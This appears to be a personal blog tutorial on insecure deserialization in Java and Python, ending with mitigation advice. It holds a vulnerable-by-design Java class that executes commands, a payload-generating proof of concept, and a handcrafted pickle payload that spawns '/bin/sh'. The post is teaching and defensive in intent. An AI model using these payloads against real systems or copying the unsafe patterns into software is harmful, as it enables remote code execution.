Mountaineer & Hiker YHZ's Daily

This is a personal blog along with other stuff.

0%

Secure Coding Practice - Insecure Deserialization

Overview

Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.

Common vulnerable coding example

Here listed some risky points for different languages

Java

Assume we have written a vulnerable program like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
import java.io.FileInputStream;

public class VulnerableTaskHolder implements Serializable {

private static final long serialVersionUID = 1;

public static void main(String args[]) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin"));
MyObject read = (MyObject)ois.readObject();
System.out.println(read.command);
ois.close();
}
}

class MyObject implements Serializable{
public String command;
private void readObject( ObjectInputStream stream ) throws Exception {
stream.defaultReadObject();

Runtime run = Runtime.getRuntime();
Process pr = run.exec(command);
pr.waitFor();
BufferedReader buf = new BufferedReader(new InputStreamReader(pr.getInputStream()));
String line = "";
while ((line=buf.readLine())!=null) {
System.out.println(line);
}
}
}

This program deserializes the input bytes file and executes the command. So it’s possible to write the exploit poc to generate the target payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.ObjectOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;

public class VulAttack{
public static void main(String args[]) throws Exception{
MyObject myObj = new MyObject();
myObj.command = "id";
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("payload.bin"));
os.writeObject(myObj);
os.close();
}
}

Compile and run this poc, the payload will be generated.

1
2
3
4
5
6
7
8
root@tester code/java » javac VulAttack.java
root@tester code/java » java VulAttack
root@tester code/java » xxd payload.bin
00000000: aced 0005 7372 0008 4d79 4f62 6a65 6374 ....sr..MyObject
00000010: fcde 3964 7a67 2c87 0200 014c 0007 636f ..9dzg,....L..co
00000020: 6d6d 616e 6474 0012 4c6a 6176 612f 6c61 mmandt..Ljava/la
00000030: 6e67 2f53 7472 696e 673b 7870 7400 0269 ng/String;xpt..i
00000040: 64 d

Now compile and run the previous vulnerable program, it will lead to RCE.

1
2
3
root@tester code/java » javac VulnerableTaskHolder.java
root@tester code/java » java VulnerableTaskHolder
uid=1000(root) gid=1000(root) groups=1000(root)

Python

Imagine the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle

def serialization(obj, filename):
filename = open(filename, "wb")
pickle.dump(obj, filename)

def deserialization(filename):
filename = open(filename, "rb")
return pickle.load(filename)

a = "Hello world!"

serialization(a, 'file1')

print(deserialization('file1'))

The first serialization is to write object to file and another deserialization is to convert bytes in file to object and return it. The result will be:

1
2
root@tester code/python » python3 serialize.py
Hello world!

Let’s take a look at the generated bytes file:

1
2
3
root@tester code/python » xxd file1
00000000: 8003 580c 0000 0048 656c 6c6f 2077 6f72 ..X....Hello wor
00000010: 6c64 2171 002e ld!q..

If the deserialized data is untrusted and can be changed to malicious data, it will lead to RCE. By comment serialization function and change file1 content to malicious data:

1
2
3
4
cos
system
(S'/bin/sh'
tR.

It will run bash shell after running script to deserialize it, you will see bash shell open.

1
2
3
root@tester code/python » python3 serrialize.py
$ id
uid=1000(root) gid=1000(root) groups=1000(root)

Mitigation

The best way to protect your web application from this type of risk is not to accept serialized objects from untrusted sources. If you can’t do this, there are some technical recommendations that you can try to implement:

  • Implementing integrity checks such as digital signatures on any serialized objects to prevent hostile object creation or data tampering.
  • Enforcing strict type constraints during deserialization before object creation as the code typically expects a definable set of classes. Bypasses to this technique have been demonstrated, so reliance solely on this is not advisable.
  • Isolating and running code that deserializes in low privilege environments when possible.
  • Logging deserialization exceptions and failures, such as where the incoming type is not the expected type, or the deserialization throws exceptions.
  • Restricting or monitoring incoming and outgoing network connectivity from containers or servers that deserialize.
  • Monitoring deserialization, alerting if a user deserializes constantly.

Reference

https://owasp.org/www-project-top-ten/2017/Top_10.html

https://sucuri.net/guides/owasp-top-10-security-vulnerabilities-2020/

Welcome to my other publishing channels